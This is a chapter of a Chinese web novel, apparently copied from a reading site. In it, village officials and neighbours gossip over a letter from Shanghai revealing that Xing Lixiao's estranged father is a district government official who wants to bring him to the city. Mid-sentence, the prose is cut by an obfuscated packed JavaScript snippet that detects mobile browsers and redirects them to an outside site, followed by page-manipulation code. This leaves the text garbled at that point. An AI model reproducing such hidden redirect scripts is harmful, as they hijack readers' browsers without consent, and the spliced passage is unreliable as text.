心里这么吐槽,李爱民面上却不怎么看得出嫌弃,语气里甚至还藏着些许激动:“像这种政府家属院,住的一般都是政府的工作人员,也就是说,这个蒋学兵,很有可能在沪市杨湾区政府工作!” 沪市是直辖市,属于省级行政区,也就是和也就是和他们省政府同级别。而沪市下面的区政府,则差不多和石城这样的地级市同级。 也就是说,蒋学兵很有可能是在市级政府工作。 他虽然是个村主任,也就是俗称的村长,但其实是村民选举上来的,不算国家干部。 而平时工作中,她经常打交道的是镇上干部,县里去得都少,更不用说市政府的干部了。 用一句话来形容就是,他认识他们,他们不认识他。 不,不对,县里的干部他都没什么机会见到,所以就算碰面,他也大概率认不出来对方。 何况那是沪市这样特大城市的市级单位,正常来说,他这辈子都不一定能跟人搭上边。 可现在,他们村出了个在沪市区政府工作的人。 好吧,蒋学兵也不算他们村的人,只是因为下乡,在他们村待过十来年。而且回城后,他就再没跟他们村的人有过联系。 但蒋学兵不还有个儿子吗? 虽然很多年里,蒋学兵都对邢立骁不闻不问,但如果没有修复关系的想法,他肯定不会寄这封信回来。 他跟邢立骁有了联络,就是跟他们村有了联络。 虽说沪市离得很远,就算有了联系,对他的工作也起不到什么帮助,更不用指望能借着蒋学兵调动过去。 但他去不了沪市,正在读高中的小儿子总有机会。 只要有这层关系在,以后总有用得上的时候。 想到这里,蒋学兵不由庆幸,还好这些年他虽然没有特别关照过邢立骁,但也没有在他最困难的时候落井下石。 尤其近几年,邢立骁发展好了后,他们关系处得还不错。 不同于李爱民想着要跟邢立骁搞好关系,蔡志刚听完他的话后,心里却不怎么舒服。 在村里,邢立骁从小就有点别人家孩子的意思的,自从上学,成绩就没下过年级前三,中考更是不出意外地考上了县一中。 那时候,人人都说他是未来的大学生。 听说当初他辍学,一中的老师还来了几次东平村,为了劝他回去继续读书,还跟学校申请了补助。 为此,连他爸都有点犹豫,要不要出手干预,跟他那些债主谈谈,至少把利息给他免了,或者降一些,不要算复利。 但东平村不是以宗族为主的村子,那些全村一个姓的,规矩虽然多,可族里要是能出一个读书苗子,村里说什么都会帮一把。 东平村因为混居,是没有这观念的,尤其邢立骁亲爹还是知青,母亲这边的长辈又都死绝了,在村里早没牵绊。 万一现在给他行方便,允许他参加工作再还债,可他去了大城市后就反悔了,再无音信,村里那些人借出去的钱怎么办? 说到底,也是他亲爹太狠了,连亲儿子都能不管,村里那些借钱的人,实在很难相信他考上大学走出去后,还会回来还债。 所以到最后,他爹也没伸手帮忙。 邢立骁辍学以后,就再没人拿他当别人家的孩子了,甚至很多人看不起他穷,背着一身债。 他们这些生活在他光环下的人,也终于有了重见天日的机会。 直到近几年,邢立骁日子越过越好,他爸又念叨起来,总让他跟人学一学。 蔡志刚从来都把这种话当成耳旁风,在他看来,邢立骁是能赚钱,可有钱不如有权,平时他们碰面,邢立骁不还得笑着给他分烟吗? 他爸今年才五十出头,至少还能在这位置上干十年,等他爸退了,李爱民升上去,他接李爱民村主任的位置总没问题吧? 这世道就是这样,有本事的不如会投胎的。 不巧,他就是那个会投胎的。 结果现在告诉他,邢立骁亲爹疑似发达了,他这颗心啊,就跟浸在了柠檬水里一样,酸得很。 不止心里酸,蔡志刚说出来的话也满是酸意:“就算寄件地址填的是政府家属院,也不代表邢立骁亲爹在政府工作吧?” 虽然他没脑子,但也知道这话说不过去,顿了顿又说,“也许,他爹只是在政府单位家属院看大门?” 李爱民闻言,侧过头默默翻了个白眼,心里又骂一声蠢货。 蒋学兵一走十几年,对邢立骁母子不闻不问,要是混得不好,他能有脸写这封信?既然写了,就说明他混得不差。 少说也是个基层干事。 但蔡志刚又不是他儿子,他没什么教导的心思,更懒得跟蠢货多说,只道:“既然整理好了信件,就早点把通知发了吧。” 察觉出李爱民不想搭理自己,蔡志刚暗暗咬牙,磨蹭好一会,才拿着信件去广播室。 发布通知过程中,还故意漏了邢立骁。 但村委外面马路上就有一个喇叭,蔡志刚发布广播的时候,李爱民坐在办公室里竖耳朵听着呢。 他发完通知一回来,李爱民就问了起来,蔡志刚没办法,只好打哈哈说:“我这不是想到他在山上吗?离得远,就算通知了他也听不见,就说晚点把信给他送去。” 李爱民哪里不知道他心里想什么,不就是因为嫉妒,不想把信给邢立骁吗? 这会他提出来,蔡志刚倒是不会再动歪心思,但他还想知道信里写了什么,哪能真让蔡志刚真把信给人送到家,便说:“他媳妇又没上山,你发通知,让他媳妇来拿信也是一样的。” 蔡志刚也不是真心想把信送上门,便拍马屁道:“还是主任你聪明,我现在就去补通知。” 说完忙不迭回了播音室开机器,对着话筒清了清嗓子说:“各位村民请注意,各位村民请注意,现发布一则通知,信件未取的还有邢立骁,邢立骁本人或家属听到,请尽快来村委办公室取信。” …… 因为上一辈受教育的不多,所以蔡志刚不仅要负责通知村民取信,还要给他们读信。 他是很不耐烦这工作的,但他爸觉得他性子太浮躁,又考虑到村里干部都是通过选举产生,而这工作虽然琐碎,却很适合积攒威信,就把他钉在这岗位上了。 也因为这样,那些不识字的拿到信后不会直接回家,而是留在这里,等蔡志刚读信。 等待的过程中,他们也都不闲着,会凑在一起炫耀子女,这个说我孩子收入过千了,那个说我孩子隔三差五寄东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16469837|185432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西回来。 而最终目的,就是想让其他人都知道,自己子女不仅孝顺,在外混得也好。 但今天,大家的注意力都被蔡志刚桌上那封沪市来信吸引,不仅忘了炫耀子女,还讨论得热火朝天。 “蒋学兵混得不错啊,都住进政府家属院了,他不会当上干部了吧?” “当上干部也是个白眼狼,当初邢丽云对他多好啊,还给他生了儿子,结果政策下来,他拍拍屁股就走了,这么多年一封信都不寄回来,狠的哟!” “你们说,他为什么突然寄信回来?” “谁知道……” 几人正讨论着,有眼尖的看到余兰英走进来,连忙咳嗽一声,并大声笑道:“兰英,你来拿立骁的信啊?” 余兰英当没听到他们的议论,应和说道:“对。” “来来来,信在这里。”有人拿起桌上的信,交到余兰英手上,又指着桌上一张表单说,“你在上面签个名,或者画个圈就行了。” 余兰英按照对方说的签名,再起身时拿起信件,似是在看寄信人信息。 自她进来便不再说话的几人中,有人沉不住气问:“兰英,你知道这上面写的寄信人是谁不?” 信封上的地址是余兰英根据前世记忆写下,再让邢立骁誊抄的,她自然知道蒋学兵是谁,但这会她装傻说:“是谁?” “你公公啊!” 一听她们的对话,其他人也忍不住了,七嘴八舌道:“他一走这么多年没音信,现在突然写信回来,说不定没好事。” “不会是知道立骁现在日子好过了,想借钱吧?” 知道余兰英来拿信,特意从隔壁办公室回来的李爱民听到这话,重重咳嗽了两声说道:“你们说的都是什么话,学兵向来是个有本事的,回城后怎么可能混得不好?这次写信回来,没准是有要紧事。” 几人闻言,纷纷撇嘴。 什么有本事啊,蒋学兵要真厉害,怎么在乡下这么多年,连个干部老师都没当上? 哦也不对,在回城这件事上,人是挺有本事的,婚离得那叫一个雷厉风行。 心里正嘀咕着,便听李爱民又说:“正巧大家都在,小余你要不把信拆了,要是有需要帮忙的,我去找老蔡,一定给你们想办法。” 李爱民话音一落,不管是觉得蒋学兵混得好还是不好,写信回来是良心发现还是别有用心的,都附和起来:“没错,兰英你把信拆了,要是他打什么歪主意,我们帮你想办法。” “什么?你说信是写给立骁的,你不好拆,你们可是夫妻,写给他的信就是写给你的,有什么不好意思拆的?” “对啊,你现在不看,万一蒋学兵写信回来是为了要钱怎么办?到时候立骁放不下父子亲情答应了,又怕你生气,瞒着把钱寄过去,你不就亏大了吗?” “要是立骁回来跟你发脾气,你跟我们说,我们帮你说他。” 众人你一言我一语,终于把原本就不怎么坚定的余兰英说得狠下了心:“那好吧,我先拆信看一眼。” 说着撕开信封,展开信纸,一目十行地看起来。 浏览过程中,她的嘴巴渐渐张大,整个人都像是懵住了,看得大家越来越好奇,连蔡志刚都竖起了耳朵,信件读得颠三倒四。 不止蔡志刚,听他读信的也被办公室另一边的热闹吸引,恨不得自己也凑过去听,根本顾不上儿子的来信。 看完信,余兰英捂住胸口,深深吸了口气。 大家看她这模样,再也克制不住好奇心,纷纷问道:“兰英,信上说了什么?” “是好事还是坏事啊?” “不是找你们要钱的吧?” 余兰英看着有点飘飘然,反应都慢了半拍,好一会才回应道:“啊,不是,没要钱。” “那他写信回来干什么?” “是……” 余兰英欲言又止,脸上表情像是高兴,又有点怪异,李爱民看着再忍不住,从她手里拿过信问:“我能读一读不?” 余兰英没有说行,但手上已经松了信纸,李爱民就当她同意了,低头开始读信。 自他开始读信,办公室里一惊一乍的惊呼声就没停过: “什么?蒋学兵回城后考上大学了?” “什么?蒋学兵毕业后分配进了政府单位工作?他去年还升职当上了区政府办公室主任?” “什么?蒋学兵这些年一直没孩子,只有邢立骁这一个血脉,现在打算把他接过去,还房子工作都给他准备好了?” 等李爱民念完信,办公室里除了余兰英,心里都开始泛酸了。 虽然明眼人都能看出来,邢家这几年日子是过得越来越好了,但他们是真没想到,邢立骁的发达会来得这么快。 就这么一封信的功夫,他就摇身一变成为沪市人了?